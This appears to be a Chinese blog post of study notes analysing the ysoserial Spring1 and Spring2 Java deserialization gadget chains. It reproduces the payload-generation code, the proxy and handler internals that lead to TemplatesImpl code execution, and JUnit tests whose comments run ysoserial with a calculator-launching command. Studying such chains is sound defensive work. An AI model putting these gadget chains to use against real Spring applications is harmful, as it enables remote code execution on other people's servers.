内容简介:Java 反序列化 ysoserial以下是两个 payload 中涉及到的知识点:payload 生成代码如下
简介
Java 反序列化 ysoserial Spring1.java 和 Spring2.java payload 学习笔记
知识点
以下是两个 payload 中涉及到的知识点:
-
使用
TemplatesImpl
的_bytecodes
字段存储恶意字节码,利用newTransformer()
方法触发恶意代码执行 ,具体可以参考 Java反序列 Jdk7u21 Payload 学习笔记 中关于TemplatesImpl
的说明 -
利用
AnnotationInvocationHandler
控制代理方法调用的返回值。 在invoke()
方法中的,当 proxy class 调用的方法名不是equals
、toString
、hashCode
、annotationType
时,会从memberValues
(类型为 Map) 取 key 为method
对应的值。因为memberValues
是可控的,因此可以指定某个方法的返回值,具体可参考下面的代码class AnnotationInvocationHandler implements InvocationHandler, Serializable { private final Class<? extends Annotation> type; private final Map<String, Object> memberValues; AnnotationInvocationHandler(Class<? extends Annotation> type, Map<String, Object> memberValues) { this.type = type; this.memberValues = memberValues; } public Object invoke(Object proxy, Method method, Object[] args) { String member = method.getName(); Class<?>[] paramTypes = method.getParameterTypes(); // Handle Object and Annotation methods if (member.equals("equals") && paramTypes.length == 1 && paramTypes[0] == Object.class) return equalsImpl(args[0]); assert paramTypes.length == 0; if (member.equals("toString")) return toStringImpl(); if (member.equals("hashCode")) return hashCodeImpl(); if (member.equals("annotationType")) return type; // Handle annotation member accessors Object result = memberValues.get(member); ... return result; } }
-
利用的反序列化类为
org.springframework.core.SerializableTypeWrapper$MethodInvokeTypeProvider
-
使用到了 Spring AOP 包中
InvocationHandler
,分别为org.springframework.beans.factory.support.AutowireUtils$ObjectFactoryDelegatingInvocationHandler org.springframework.core.SerializableTypeWrapper$MethodInvokeTypeProvider
Spring1
payload 生成代码如下
public Object getObject(final String command) throws Exception { // 使用 TemplatesImpl 存储恶意字节码 final Object templates = Gadgets.createTemplatesImpl(command); // 使用 AnnotationInvocationHandler 创建 ObjectFactory 接口的动态代理 // 并且调用 objectFactoryProxy 的 getObject() 方法会返回 templates 对象 final ObjectFactory objectFactoryProxy = Gadgets.createMemoitizedProxy(Gadgets.createMap("getObject", templates), ObjectFactory.class); // 使用 ObjectFactoryDelegatingInvocationHandler 代理 Type 和 Templates 接口,返回值类型为 Type final Type typeTemplatesProxy = Gadgets.createProxy((InvocationHandler) Reflections.getFirstCtor("org.springframework.beans.factory.support.AutowireUtils$ObjectFactoryDelegatingInvocationHandler") .newInstance(objectFactoryProxy), Type.class, Templates.class); // 使用 AnnotationInvocationHandler 创建 TypeProvider 接口的动态代理 // 并且调用 typeProviderProxy 的 getType() 方法会返回 typeTemplatesProxy 对象 final Object typeProviderProxy = Gadgets.createMemoitizedProxy( Gadgets.createMap("getType", typeTemplatesProxy), forName("org.springframework.core.SerializableTypeWrapper$TypeProvider")); // 创建最终反序列化对象 MethodInvokeTypeProvider final Constructor mitpCtor = Reflections.getFirstCtor("org.springframework.core.SerializableTypeWrapper$MethodInvokeTypeProvider"); // 实例化,构造方法中,会将 provider 属性的值设置为 typeProviderProxy final Object mitp = mitpCtor.newInstance(typeProviderProxy, Object.class.getMethod("getClass", new Class[] {}), 0); // 设置 methodName 属性的值为 newTransformer Reflections.setFieldValue(mitp, "methodName", "newTransformer"); return mitp; }
来看一下 MethodInvokeTypeProvider
类的 readObject()
方法
private void readObject(ObjectInputStream inputStream) throws IOException, ClassNotFoundException { inputStream.defaultReadObject(); // methodName 的值为 newTransformer // this.provider 为代理对象,即 typeProviderProxy Method method = ReflectionUtils.findMethod(this.provider.getType().getClass(), this.methodName); // 反射调用 this.provider 的 newTransformer 方法 this.result = ReflectionUtils.invokeMethod(method, this.provider.getType()); }
因为 this.provider
即 typeProviderProxy
是代理对象,因此调用 getType()
方法,会调用关联 InvocationHanlder
的 invoke()
方法,根据中提到的 AnnotationInvocationHandler
可以指定方法返回值的特性,这里会返回 typeTemplatesProxy
,接着调用其 getClass()
方法,反射查找 newTransformer
方法
下一步会反射调用 typeTemplatesProxy
的 newTransformer
方法,因为 typeTemplatesProxy
也是一个代理对象,因此会调用 ObjectFactoryDelegatingInvocationHandler
的 inovke()
方法,其代码如下
private static class ObjectFactoryDelegatingInvocationHandler implements InvocationHandler, Serializable { private final ObjectFactory<?> objectFactory; public ObjectFactoryDelegatingInvocationHandler(ObjectFactory<?> objectFactory) { this.objectFactory = objectFactory; } @Override public Object invoke(Object proxy, Method method, Object[] args) throws Throwable { String methodName = method.getName(); if (methodName.equals("equals")) { return (proxy == args[0]); } else if (methodName.equals("hashCode")) { return System.identityHashCode(proxy); } else if (methodName.equals("toString")) { return this.objectFactory.toString(); } try { // 最终执行代码 return method.invoke(this.objectFactory.getObject(), args); } catch (InvocationTargetException ex) { throw ex.getTargetException(); } } }
根据代码可以得知,最终会执行到
return method.invoke(this.objectFactory.getObject(), args);
那么这里的 objectFactory
的值是什么?
根据 payload 中的生成代码
final Object templates = Gadgets.createTemplatesImpl(command); final ObjectFactory objectFactoryProxy = Gadgets.createMemoitizedProxy(Gadgets.createMap("getObject", templates), ObjectFactory.class);
值为 objectFactoryProxy
,也是一个代理对象,根据 AnnotationInvocationHandler
的特性, objectFactory.getObject()
的返回值为 templates
,即最终调用的是 TemplatesImpl
的 newTransformer()
方法,触发恶意代码执行
整理一下关系
-
MethodInvokeTypeProvider.provider
=>typeProviderProxy
-
typeProviderProxy.getType()
=>AnnotationInvocationHandler.invoke()
=>typeTemplatesProxy
-
typeTemplatesProxy.newTransformer()
=>ObjectFactoryDelegatingInvocationHandler.invoke()
-
ObjectFactoryDelegatingInvocationHandler.objectFactory.getObject()
=>AnnotationInvocationHandler.invoke()
=>TemplatesImpl
精简的 Gadget chain 如下
SerializableTypeWrapper.MethodInvokeTypeProvider.readObject() SerializableTypeWrapper.TypeProvider(Proxy).getType() AnnotationInvocationHandler.invoke() SerializableTypeWrapper.TypeProvider(Proxy).getType() AnnotationInvocationHandler.invoke() ReflectionUtils.invokeMethod() Templates(Proxy).newTransformer() AutowireUtils.ObjectFactoryDelegatingInvocationHandler.invoke() ObjectFactory(Proxy).getObject() AnnotationInvocationHandler.invoke() TemplatesImpl.newTransformer()
Spring2
payload 生成代码如下
public Object getObject ( final String command ) throws Exception { final Object templates = Gadgets.createTemplatesImpl(command); // 将 AdvisedSupport 的 target 属性值设置为 templates // AdvisedSupport 是 Spring AOP 的代理配置 managaer AdvisedSupport as = new AdvisedSupport(); as.setTargetSource(new SingletonTargetSource(templates)); // 使用 JdkDynamicAopProxy(实现了InvocationHandler接口) 来创建 Type 和 Templates 接口的动态代理 // JdkDynamicAopProxy 的 advised 属性值为 as final Type typeTemplatesProxy = Gadgets.createProxy( (InvocationHandler) Reflections.getFirstCtor("org.springframework.aop.framework.JdkDynamicAopProxy").newInstance(as), Type.class, Templates.class); final Object typeProviderProxy = Gadgets.createMemoitizedProxy( Gadgets.createMap("getType", typeTemplatesProxy), forName("org.springframework.core.SerializableTypeWrapper$TypeProvider")); Object mitp = Reflections.createWithoutConstructor(forName("org.springframework.core.SerializableTypeWrapper$MethodInvokeTypeProvider")); Reflections.setFieldValue(mitp, "provider", typeProviderProxy); Reflections.setFieldValue(mitp, "methodName", "newTransformer"); return mitp; }
Spring2 和 Spring1 的反序列化过程大致相似,唯一不同的在于,这里使用了 AOP 包中另一个 ` InvocationHandler -
JdkDynamicAopProxy 来创建
typeTemplatesProxy ,来看一下它的
invoke()` 方法,精简后如下
final class JdkDynamicAopProxy implements AopProxy, InvocationHandler, Serializable { ... private final AdvisedSupport advised; ... public Object invoke(Object proxy, Method method, Object[] args) throws Throwable { MethodInvocation invocation; Object oldProxy = null; boolean setProxyContext = false; TargetSource targetSource = this.advised.targetSource; Class<?> targetClass = null; Object target = null; try { .... target = targetSource.getTarget(); if (target != null) { targetClass = target.getClass(); } List<Object> chain = this.advised.getInterceptorsAndDynamicInterceptionAdvice(method, targetClass); if (chain.isEmpty()) { // 调用 target 的 method 方法 retVal = AopUtils.invokeJoinpointUsingReflection(target, method, args); } else { .... } ... return retVal; } finally { .... } } }
经过一系列判断,最后会在 this.advised.targetSource.getTarget()
对象上调用 method,根据 paylaod 生成代码,这里的 target 为 TemplatesImpl
,method 为 newTransformer
,最终触发恶意代码执行
测试
@Test public void testSpring1() throws Exception { // mkdir -p /tmp/ysoserial // java -jar ysoserial-0.0.6-SNAPSHOT-all.jar Spring1 "open /Applications/Calculator.app" > /tmp/ysoserial/spring1.class ObjectInputStream ois = new ObjectInputStream(new FileInputStream(new File("/tmp/ysoserial/spring1.class"))); ois.readObject(); } @Test public void testSpring2() throws Exception { // mkdir -p /tmp/ysoserial // java -jar ysoserial-0.0.6-SNAPSHOT-all.jar Spring2 "open /Applications/Calculator.app" > /tmp/ysoserial/spring2.class ObjectInputStream ois = new ObjectInputStream(new FileInputStream(new File("/tmp/ysoserial/spring2.class"))); ois.readObject(); }
以上就是本文的全部内容,希望本文的内容对大家的学习或者工作能带来一定的帮助,也希望大家多多支持 码农网
猜你喜欢:本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们。
网络营销实战密码
昝辉Zac / 电子工业出版社 / 2009.1 / 56.00元
本书是作者几年来网络营销实战的总结,与其他网络营销书籍最大不同之处是:只专注于实战,不谈理论。本书分三部分详细介绍了网络营销实用策略和技巧,并分析了大量实战案例。第一部分介绍市场与产品研究,包括用户、市场和竞争对手的调查;产品、目标市场的确定;价格策略;赢利模式等。第二部分讨论以网络营销为导向的网站设计,包括怎样在网站上卖东西、提高转化率,以及网站目标设定等。第三部分研究怎样给网站带来流量,详细讨......一起来看看 《网络营销实战密码》 这本书的介绍吧!